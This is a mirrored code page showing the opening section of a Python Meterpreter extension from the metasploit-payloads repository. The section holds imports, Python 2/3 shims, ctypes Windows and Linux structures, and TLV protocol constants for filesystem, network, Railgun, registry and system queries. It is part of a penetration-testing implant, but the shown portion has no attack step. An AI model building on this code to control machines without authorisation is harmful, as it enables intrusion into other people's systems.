mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-21 05:35:54 +01:00
2864 lines
118 KiB
Python
2864 lines
118 KiB
Python
import fnmatch
|
|
import functools
|
|
import getpass
|
|
import os
|
|
import platform
|
|
import re
|
|
import select
|
|
import shlex
|
|
import shutil
|
|
import socket
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import time
|
|
|
|
try:
|
|
import ctypes
|
|
import ctypes.util
|
|
has_ctypes = True
|
|
has_windll = hasattr(ctypes, 'windll')
|
|
except ImportError:
|
|
has_ctypes = False
|
|
has_windll = False
|
|
|
|
try:
|
|
import pty
|
|
has_pty = True
|
|
except ImportError:
|
|
has_pty = False
|
|
|
|
try:
|
|
import pwd
|
|
has_pwd = True
|
|
except ImportError:
|
|
has_pwd = False
|
|
|
|
try:
|
|
import termios
|
|
has_termios = True
|
|
except ImportError:
|
|
has_termios = False
|
|
|
|
try:
|
|
import fcntl
|
|
has_fcntl = True
|
|
except ImportError:
|
|
has_fcntl = False
|
|
|
|
try:
|
|
import _winreg as winreg
|
|
has_winreg = True
|
|
except ImportError:
|
|
has_winreg = False
|
|
|
|
try:
|
|
import winreg
|
|
has_winreg = True
|
|
except ImportError:
|
|
has_winreg = (has_winreg or False)
|
|
|
|
if sys.version_info[0] < 3:
|
|
is_str = lambda obj: issubclass(obj.__class__, str)
|
|
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
|
bytes = lambda *args: str(*args[:1])
|
|
NULL_BYTE = '\x00'
|
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
|
else:
|
|
if isinstance(__builtins__, dict):
|
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
|
str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
|
|
else:
|
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
|
str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
|
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
|
long = int
|
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
|
|
|
libc = None
|
|
|
|
if has_ctypes:
|
|
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
|
|
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
|
size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
|
|
#
|
|
# Windows Structures
|
|
#
|
|
class EVENTLOGRECORD(ctypes.Structure):
|
|
_fields_ = [("Length", ctypes.c_uint32),
|
|
("Reserved", ctypes.c_uint32),
|
|
("RecordNumber", ctypes.c_uint32),
|
|
("TimeGenerated", ctypes.c_uint32),
|
|
("TimeWritten", ctypes.c_uint32),
|
|
("EventID", ctypes.c_uint32),
|
|
("EventType", ctypes.c_uint16),
|
|
("NumStrings", ctypes.c_uint16),
|
|
("EventCategory", ctypes.c_uint16),
|
|
("ReservedFlags", ctypes.c_uint16),
|
|
("ClosingRecordNumber", ctypes.c_uint32),
|
|
("StringOffset", ctypes.c_uint32),
|
|
("UserSidLength", ctypes.c_uint32),
|
|
("UserSidOffset", ctypes.c_uint32),
|
|
("DataLength", ctypes.c_uint32),
|
|
("DataOffset", ctypes.c_uint32)]
|
|
|
|
class SOCKADDR(ctypes.Structure):
|
|
_fields_ = [("sa_family", ctypes.c_ushort),
|
|
("sa_data", (ctypes.c_uint8 * 14))]
|
|
|
|
class SOCKET_ADDRESS(ctypes.Structure):
|
|
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
|
|
("iSockaddrLength", ctypes.c_int)]
|
|
|
|
class sockaddr_in(ctypes.Structure):
|
|
_fields_ = [("sin_family", ctypes.c_short),
|
|
("sin_port", ctypes.c_ushort),
|
|
("sin_addr", ctypes.c_byte * 4),
|
|
("sin_zero", ctypes.c_char * 8)
|
|
]
|
|
SOCKADDR_IN = sockaddr_in
|
|
|
|
class sockaddr_in6(ctypes.Structure):
|
|
_fields_ = [("sin6_family", ctypes.c_short),
|
|
("sin6_port", ctypes.c_ushort),
|
|
("sin6_flowinfo", ctypes.c_ulong),
|
|
("sin6_addr", ctypes.c_byte * 16),
|
|
("sin6_scope_id", ctypes.c_ulong)
|
|
]
|
|
SOCKADDR_IN6 = sockaddr_in6
|
|
|
|
class SOCKADDR_INET(ctypes.Union):
|
|
_fields_ = [("Ipv4", SOCKADDR_IN),
|
|
("Ipv6", SOCKADDR_IN6),
|
|
("si_family", ctypes.c_short)
|
|
]
|
|
|
|
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
|
|
_fields_ = [
|
|
("s", type(
|
|
'_s_IP_ADAPTER_UNICAST_ADDRESS',
|
|
(ctypes.Structure,),
|
|
dict(_fields_=[
|
|
("Length", ctypes.c_ulong),
|
|
("Flags", ctypes.c_uint32)
|
|
])
|
|
)),
|
|
("Next", ctypes.c_void_p),
|
|
("Address", SOCKET_ADDRESS),
|
|
("PrefixOrigin", ctypes.c_uint32),
|
|
("SuffixOrigin", ctypes.c_uint32),
|
|
("DadState", ctypes.c_uint32),
|
|
("ValidLifetime", ctypes.c_ulong),
|
|
("PreferredLifetime", ctypes.c_ulong),
|
|
("LeaseLifetime", ctypes.c_ulong),
|
|
("OnLinkPrefixLength", ctypes.c_uint8)]
|
|
|
|
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
|
|
_fields_ = [
|
|
("u", type(
|
|
'_u_IP_ADAPTER_ADDRESSES',
|
|
(ctypes.Union,),
|
|
dict(_fields_ = [
|
|
("Alignment", ctypes.c_ulonglong),
|
|
("s", type(
|
|
'_s_IP_ADAPTER_ADDRESSES',
|
|
(ctypes.Structure,),
|
|
dict(_fields_ = [
|
|
("Length", ctypes.c_ulong),
|
|
("IfIndex", ctypes.c_uint32)
|
|
])
|
|
))
|
|
])
|
|
)),
|
|
("Next", ctypes.c_void_p),
|
|
("AdapterName", ctypes.c_char_p),
|
|
("FirstUnicastAddress", ctypes.c_void_p),
|
|
("FirstAnycastAddress", ctypes.c_void_p),
|
|
("FirstMulticastAddress", ctypes.c_void_p),
|
|
("FirstDnsServerAddress", ctypes.c_void_p),
|
|
("DnsSuffix", ctypes.c_wchar_p),
|
|
("Description", ctypes.c_wchar_p),
|
|
("FriendlyName", ctypes.c_wchar_p),
|
|
("PhysicalAddress", (ctypes.c_uint8 * 8)),
|
|
("PhysicalAddressLength", ctypes.c_uint32),
|
|
("Flags", ctypes.c_uint32),
|
|
("Mtu", ctypes.c_uint32),
|
|
("IfType", ctypes.c_uint32),
|
|
("OperStatus", ctypes.c_uint32),
|
|
("Ipv6IfIndex", ctypes.c_uint32),
|
|
("ZoneIndices", (ctypes.c_uint32 * 16)),
|
|
("FirstPrefix", ctypes.c_void_p),
|
|
("TransmitLinkSpeed", ctypes.c_uint64),
|
|
("ReceiveLinkSpeed", ctypes.c_uint64),
|
|
("FirstWinsServerAddress", ctypes.c_void_p),
|
|
("FirstGatewayAddress", ctypes.c_void_p),
|
|
("Ipv4Metric", ctypes.c_ulong),
|
|
("Ipv6Metric", ctypes.c_ulong),
|
|
("Luid", ctypes.c_uint64),
|
|
("Dhcpv4Server", SOCKET_ADDRESS),
|
|
("CompartmentId", ctypes.c_uint32),
|
|
("NetworkGuid", (ctypes.c_uint8 * 16)),
|
|
("ConnectionType", ctypes.c_uint32),
|
|
("TunnelType", ctypes.c_uint32),
|
|
("Dhcpv6Server", SOCKET_ADDRESS),
|
|
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
|
|
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
|
|
("Dhcpv6Iaid", ctypes.c_ulong),
|
|
("FirstDnsSuffix", ctypes.c_void_p)]
|
|
|
|
class LASTINPUTINFO(ctypes.Structure):
|
|
_fields_ = [("cbSize", ctypes.c_uint32),
|
|
("dwTime", ctypes.c_uint32)]
|
|
|
|
class MIB_IPINTERFACE_ROW(ctypes.Structure):
|
|
_fields_ = [("Family", ctypes.c_uint16),
|
|
("InterfaceLuid", ctypes.c_uint64),
|
|
("InterfaceIndex", ctypes.c_uint32),
|
|
("MaxReassemblySize", ctypes.c_uint32),
|
|
("InterfaceIdentifier", ctypes.c_uint64),
|
|
("MinRouterAdvertisementInterval", ctypes.c_uint32),
|
|
("MaxRouterAdvertisementInterval", ctypes.c_uint32),
|
|
("AdvertisingEnabled", ctypes.c_uint8),
|
|
("ForwardingEnabled", ctypes.c_uint8),
|
|
("WeakHostSend", ctypes.c_uint8),
|
|
("WeakHostReceive", ctypes.c_uint8),
|
|
("UseAutomaticMetric", ctypes.c_uint8),
|
|
("UseNeighborUnreachabilityDetection", ctypes.c_uint8),
|
|
("ManagedAddressConfigurationSupported", ctypes.c_uint8),
|
|
("OtherStatefulConfigurationSupported", ctypes.c_uint8),
|
|
("AdvertiseDefaultRoute", ctypes.c_uint8),
|
|
("RouterDiscoveryBehavior", ctypes.c_uint32),
|
|
("DadTransmits", ctypes.c_uint32),
|
|
("BaseReachableTime", ctypes.c_uint32),
|
|
("RetransmitTime", ctypes.c_uint32),
|
|
("PathMtuDiscoveryTimeout", ctypes.c_uint32),
|
|
("LinkLocalAddressBehavior", ctypes.c_uint32),
|
|
("LinkLocalAddressTimeout", ctypes.c_uint32),
|
|
("ZoneIndices", ctypes.c_uint32 * 16),
|
|
("SitePrefixLength", ctypes.c_uint32),
|
|
("Metric", ctypes.c_uint32),
|
|
("NlMtu", ctypes.c_uint32),
|
|
("Connected", ctypes.c_uint8),
|
|
("SupportsWakeUpPatterns", ctypes.c_uint8),
|
|
("SupportsNeighborDiscovery", ctypes.c_uint8),
|
|
("SupportsRouterDiscovery", ctypes.c_uint8),
|
|
("ReachableTime", ctypes.c_uint32),
|
|
("TransmitOffload", ctypes.c_uint8),
|
|
("ReceiveOffload", ctypes.c_uint8),
|
|
("DisableDefaultRoutes", ctypes.c_uint8),
|
|
]
|
|
|
|
class IP_ADDRESS_PREFIX(ctypes.Structure):
|
|
_fields_ = [("Prefix", SOCKADDR_INET),
|
|
("PrefixLength", ctypes.c_uint8)
|
|
]
|
|
|
|
class MIB_IPFORWARDROW(ctypes.Structure):
|
|
_fields_ = [("dwForwardDest", ctypes.c_uint32),
|
|
("dwForwardMask", ctypes.c_uint32),
|
|
("dwForwardPolicy", ctypes.c_uint32),
|
|
("dwForwardNextHop", ctypes.c_uint32),
|
|
("dwForwardIfIndex", ctypes.c_uint32),
|
|
("dwForwardType", ctypes.c_uint32),
|
|
("dwForwardProto", ctypes.c_uint32),
|
|
("dwForwardAge", ctypes.c_uint32),
|
|
("dwForwardNextHopAS", ctypes.c_uint32),
|
|
("dwForwardMetric1", ctypes.c_uint32),
|
|
("dwForwardMetric2", ctypes.c_uint32),
|
|
("dwForwardMetric3", ctypes.c_uint32),
|
|
("dwForwardMetric4", ctypes.c_uint32),
|
|
("dwForwardMetric5", ctypes.c_uint32),
|
|
]
|
|
PMIB_IPFORWARDROW = ctypes.POINTER(MIB_IPFORWARDROW)
|
|
|
|
class MIB_IPFORWARD_ROW2(ctypes.Structure):
|
|
_fields_ = [("InterfaceLuid", ctypes.c_uint64),
|
|
("InterfaceIndex", ctypes.c_uint32),
|
|
("DestinationPrefix", IP_ADDRESS_PREFIX),
|
|
("NextHop", SOCKADDR_INET),
|
|
("SitePrefixLength", ctypes.c_uint8),
|
|
("ValidLifetime", ctypes.c_uint32),
|
|
("PreferredLifetime", ctypes.c_uint32),
|
|
("Metric", ctypes.c_uint32),
|
|
("Protocol", ctypes.c_uint32),
|
|
("Loopback", ctypes.c_byte),
|
|
("AutoconfigureAddress", ctypes.c_byte),
|
|
("Publish", ctypes.c_byte),
|
|
("Immortal", ctypes.c_byte),
|
|
("Age", ctypes.c_uint32),
|
|
("Origin", ctypes.c_uint32),
|
|
]
|
|
PMIB_IPFORWARD_ROW2 = ctypes.POINTER(MIB_IPFORWARD_ROW2)
|
|
|
|
|
|
class MIB_IPFORWARDTABLE(ctypes.Structure):
|
|
_fields_ = [("dwNumEntries", ctypes.c_uint32),
|
|
("table", MIB_IPFORWARDROW * 0)
|
|
]
|
|
PMIB_IPFORWARDTABLE = ctypes.POINTER(MIB_IPFORWARDTABLE)
|
|
|
|
class MIB_IPFORWARD_TABLE2(ctypes.Structure):
|
|
_fields_ = [("NumEntries", ctypes.c_uint32),
|
|
("Table", MIB_IPFORWARD_ROW2 * 0)
|
|
]
|
|
PMIB_IPFORWARD_TABLE2 = ctypes.POINTER(MIB_IPFORWARD_TABLE2)
|
|
|
|
class OSVERSIONINFOEXW(ctypes.Structure):
|
|
_fields_ = [("dwOSVersionInfoSize", ctypes.c_uint32),
|
|
("dwMajorVersion", ctypes.c_uint32),
|
|
("dwMinorVersion", ctypes.c_uint32),
|
|
("dwBuildNumber", ctypes.c_uint32),
|
|
("dwPlatformId", ctypes.c_uint32),
|
|
("szCSDVersion", (ctypes.c_wchar * 128)),
|
|
("wServicePackMajor", ctypes.c_uint16),
|
|
("wServicePackMinor", ctypes.c_uint16),
|
|
("wSuiteMask", ctypes.c_uint16),
|
|
("wProductType", ctypes.c_uint8),
|
|
("wReserved", ctypes.c_uint8)]
|
|
|
|
class PROCESSENTRY32(ctypes.Structure):
|
|
_fields_ = [("dwSize", ctypes.c_uint32),
|
|
("cntUsage", ctypes.c_uint32),
|
|
("th32ProcessID", ctypes.c_uint32),
|
|
("th32DefaultHeapID", ctypes.c_void_p),
|
|
("th32ModuleID", ctypes.c_uint32),
|
|
("cntThreads", ctypes.c_uint32),
|
|
("th32ParentProcessID", ctypes.c_uint32),
|
|
("thPriClassBase", ctypes.c_int32),
|
|
("dwFlags", ctypes.c_uint32),
|
|
("szExeFile", (ctypes.c_char * 260))]
|
|
|
|
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
|
_fields_ = [("Sid", ctypes.c_void_p),
|
|
("Attributes", ctypes.c_uint32)]
|
|
|
|
class SYSTEM_INFO(ctypes.Structure):
|
|
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
|
("wReserved", ctypes.c_uint16),
|
|
("dwPageSize", ctypes.c_uint32),
|
|
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
|
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
|
("dwActiveProcessorMask", ctypes.c_uint32),
|
|
("dwNumberOfProcessors", ctypes.c_uint32),
|
|
("dwProcessorType", ctypes.c_uint32),
|
|
("dwAllocationGranularity", ctypes.c_uint32),
|
|
("wProcessorLevel", ctypes.c_uint16),
|
|
("wProcessorRevision", ctypes.c_uint16)]
|
|
|
|
class TOKEN_USER(ctypes.Structure):
|
|
_fields_ = [("User", SID_AND_ATTRIBUTES)]
|
|
|
|
class UNIVERSAL_NAME_INFO(ctypes.Structure):
|
|
_fields_ = [("lpUniversalName", ctypes.c_wchar_p)]
|
|
|
|
class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
|
|
_fields_ = [("fAutoDetect", ctypes.c_int8),
|
|
("lpszAutoConfigUrl", ctypes.c_wchar_p),
|
|
("lpszProxy", ctypes.c_wchar_p),
|
|
("lpszProxyBypass", ctypes.c_wchar_p)]
|
|
|
|
class LUID(ctypes.Structure):
|
|
_fields_ = [
|
|
('LowPart', ctypes.c_uint32),
|
|
('HighPart', ctypes.c_long)
|
|
]
|
|
|
|
def __eq__(self, __o):
|
|
return (self.LowPart == __o.LowPart and self.HighPart == __o.HighPart)
|
|
|
|
def __ne__(self, __o):
|
|
return (self.LowPart != __o.LowPart or self.HighPart != __o.HighPart)
|
|
|
|
class LUID_AND_ATTRIBUTES(ctypes.Structure):
|
|
_fields_ = [
|
|
('Luid', LUID),
|
|
('Attributes', ctypes.c_uint32)
|
|
]
|
|
|
|
class TOKEN_PRIVILEGES(ctypes.Structure):
|
|
_fields_ = [
|
|
('PrivilegeCount', ctypes.c_uint32),
|
|
('Privileges', LUID_AND_ATTRIBUTES * 0),
|
|
]
|
|
def get_array(self):
|
|
array_type = LUID_AND_ATTRIBUTES * self.PrivilegeCount
|
|
return ctypes.cast(self.Privileges, ctypes.POINTER(array_type)).contents
|
|
|
|
PTOKEN_PRIVILEGES = ctypes.POINTER(TOKEN_PRIVILEGES)
|
|
|
|
MAXLEN_PHYSADDR = 8
|
|
|
|
class MIB_IPNETROW(ctypes.Structure):
|
|
_fields_ = [
|
|
('dwIndex', ctypes.c_uint32),
|
|
('dwPhysAddrLen', ctypes.c_uint32),
|
|
('bPhysAddr', ctypes.c_byte * MAXLEN_PHYSADDR),
|
|
('dwAddr', ctypes.c_uint32),
|
|
('dwType', ctypes.c_uint32)
|
|
]
|
|
|
|
|
|
#
|
|
# Linux Structures
|
|
#
|
|
class IFADDRMSG(ctypes.Structure):
|
|
_fields_ = [("family", ctypes.c_uint8),
|
|
("prefixlen", ctypes.c_uint8),
|
|
("flags", ctypes.c_uint8),
|
|
("scope", ctypes.c_uint8),
|
|
("index", ctypes.c_int32)]
|
|
|
|
class IFINFOMSG(ctypes.Structure):
|
|
_fields_ = [("family", ctypes.c_uint8),
|
|
("pad", ctypes.c_int8),
|
|
("type", ctypes.c_uint16),
|
|
("index", ctypes.c_int32),
|
|
("flags", ctypes.c_uint32),
|
|
("chagen", ctypes.c_uint32)]
|
|
|
|
class IOVEC(ctypes.Structure):
|
|
_fields_ = [("iov_base", ctypes.c_void_p),
|
|
("iov_len", size_t)]
|
|
|
|
class NLMSGHDR(ctypes.Structure):
|
|
_fields_ = [("len", ctypes.c_uint32),
|
|
("type", ctypes.c_uint16),
|
|
("flags", ctypes.c_uint16),
|
|
("seq", ctypes.c_uint32),
|
|
("pid", ctypes.c_uint32)]
|
|
|
|
class RTATTR(ctypes.Structure):
|
|
_fields_ = [("len", ctypes.c_uint16),
|
|
("type", ctypes.c_uint16)]
|
|
|
|
class RTMSG(ctypes.Structure):
|
|
_fields_ = [("family", ctypes.c_uint8),
|
|
("dst_len", ctypes.c_uint8),
|
|
("src_len", ctypes.c_uint8),
|
|
("tos", ctypes.c_uint8),
|
|
("table", ctypes.c_uint8),
|
|
("protocol", ctypes.c_uint8),
|
|
("scope", ctypes.c_uint8),
|
|
("type", ctypes.c_uint8),
|
|
("flags", ctypes.c_uint32)]
|
|
|
|
TLV_EXTENSIONS = 20000
|
|
#
|
|
# TLV Meta Types
|
|
#
|
|
TLV_META_TYPE_NONE = ( 0 )
|
|
TLV_META_TYPE_STRING = (1 << 16)
|
|
TLV_META_TYPE_UINT = (1 << 17)
|
|
TLV_META_TYPE_RAW = (1 << 18)
|
|
TLV_META_TYPE_BOOL = (1 << 19)
|
|
TLV_META_TYPE_QWORD = (1 << 20)
|
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
|
TLV_META_TYPE_GROUP = (1 << 30)
|
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
|
# not defined in original
|
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
|
|
|
#
|
|
# TLV Specific Types
|
|
#
|
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
|
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
|
|
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
|
|
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
|
|
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|
|
|
##
|
|
# General
|
|
##
|
|
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
|
|
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
|
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
|
|
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
|
|
|
|
##
|
|
# Fs
|
|
##
|
|
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
|
|
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
|
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
|
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
|
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
|
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
|
|
|
|
TLV_TYPE_MOUNT_GROUP = TLV_META_TYPE_GROUP | 1207
|
|
TLV_TYPE_MOUNT_NAME = TLV_META_TYPE_STRING | 1208
|
|
TLV_TYPE_MOUNT_TYPE = TLV_META_TYPE_UINT | 1209
|
|
TLV_TYPE_MOUNT_SPACE_USER = TLV_META_TYPE_QWORD | 1210
|
|
TLV_TYPE_MOUNT_SPACE_TOTAL = TLV_META_TYPE_QWORD | 1211
|
|
TLV_TYPE_MOUNT_SPACE_FREE = TLV_META_TYPE_QWORD | 1212
|
|
TLV_TYPE_MOUNT_UNCPATH = TLV_META_TYPE_STRING | 1213
|
|
|
|
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1221
|
|
|
|
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
|
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
|
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
|
|
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
|
|
|
TLV_TYPE_FILE_MODE_T = TLV_META_TYPE_UINT | 1234
|
|
TLV_TYPE_SEARCH_MTIME = TLV_META_TYPE_UINT | 1235
|
|
TLV_TYPE_SEARCH_M_START_DATE = TLV_META_TYPE_UINT | 1236
|
|
TLV_TYPE_SEARCH_M_END_DATE = TLV_META_TYPE_UINT | 1237
|
|
|
|
##
|
|
# Net
|
|
##
|
|
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
|
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
|
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
|
|
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
|
|
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
|
|
|
|
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
|
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
|
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
|
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
|
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
|
|
TLV_TYPE_ARP_ENTRY = TLV_META_TYPE_GROUP | 1425
|
|
|
|
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
|
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
|
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
|
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
|
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
|
|
|
|
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
|
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
|
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
|
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
|
|
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
|
|
|
|
##
|
|
# Proxy configuration
|
|
##
|
|
TLV_TYPE_PROXY_CFG_AUTODETECT = TLV_META_TYPE_BOOL | 1445
|
|
TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING | 1446
|
|
TLV_TYPE_PROXY_CFG_PROXY = TLV_META_TYPE_STRING | 1447
|
|
TLV_TYPE_PROXY_CFG_PROXYBYPASS = TLV_META_TYPE_STRING | 1448
|
|
|
|
##
|
|
# Socket
|
|
##
|
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
|
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
|
|
|
|
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
|
|
|
##
|
|
# Railgun
|
|
##
|
|
TLV_TYPE_EXTENSION_RAILGUN = 0
|
|
TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
|
|
TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
|
|
TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
|
|
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
|
|
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
|
|
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
|
|
TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
|
|
TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
|
|
TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
|
|
TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
|
|
TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
|
|
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
|
|
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
|
|
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
|
|
TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
|
|
TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)
|
|
|
|
##
|
|
# Registry
|
|
##
|
|
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
|
|
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
|
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
|
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
|
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
|
|
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
|
|
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
|
|
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
|
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
|
|
|
##
|
|
# Config
|
|
##
|
|
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
|
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
|
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
|
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
|
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
|
|
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
|
|
